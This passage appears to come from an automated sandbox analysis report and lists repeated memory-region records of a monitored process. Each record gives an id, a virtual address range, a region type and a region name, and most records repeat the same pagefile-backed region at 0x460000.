name = "pagefile_0x0000000000460000" filename = "" Region: id = 9027 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9028 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9029 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9030 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9031 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9032 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9033 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9034 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9035 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9036 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9037 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9038 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9039 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9040 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9041 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9042 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9043 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9044 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9045 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9046 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9047 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9048 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9049 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9050 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9051 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9052 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9053 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9054 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9055 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9056 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9057 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9058 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9059 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9060 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9061 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9062 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9063 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9064 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9065 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9066 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9067 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9068 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9069 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9070 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9071 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9072 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9073 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9074 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9075 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9076 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9077 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9078 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9079 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9080 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9081 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9082 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9083 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9084 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9085 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9086 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9087 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9088 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9089 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9090 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9091 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9092 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9093 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9094 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9095 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9096 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9097 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9098 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 9099 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9100 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9101 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9102 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9103 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9104 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9105 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9106 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9107 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9108 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9109 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9110 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9111 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9112 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9113 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9114 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9115 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9116 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9117 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9118 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9119 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9120 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9121 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9122 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9123 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9124 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9125 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9126 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9127 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9128 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9129 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9130 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9131 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9132 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9133 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9134 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9135 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9136 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9137 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9138 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9139 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9140 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9141 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9142 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9143 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9144 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9145 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9146 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9147 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9148 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9149 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9150 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9151 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9152 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9153 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9154 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9155 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9156 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9157 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9158 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9159 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9160 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9161 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9162 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9163 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9164 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9165 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9166 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9167 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9168 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9169 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9170 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9171 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9172 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9173 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9174 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9175 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9176 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9177 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9178 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9179 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9180 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9181 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9182 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9183 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9184 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9185 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9186 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9187 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9188 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9189 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9190 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9191 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9192 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9193 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9194 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9195 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9196 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9197 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9198 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9200 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9201 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9202 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9203 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9204 start_va = 0x115d0000 end_va = 0x11ac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 9205 start_va = 0x11fd0000 end_va = 0x124c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011fd0000" filename = "" Region: id = 9206 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9207 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9208 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9209 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9210 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9211 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9212 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9213 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 9214 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = 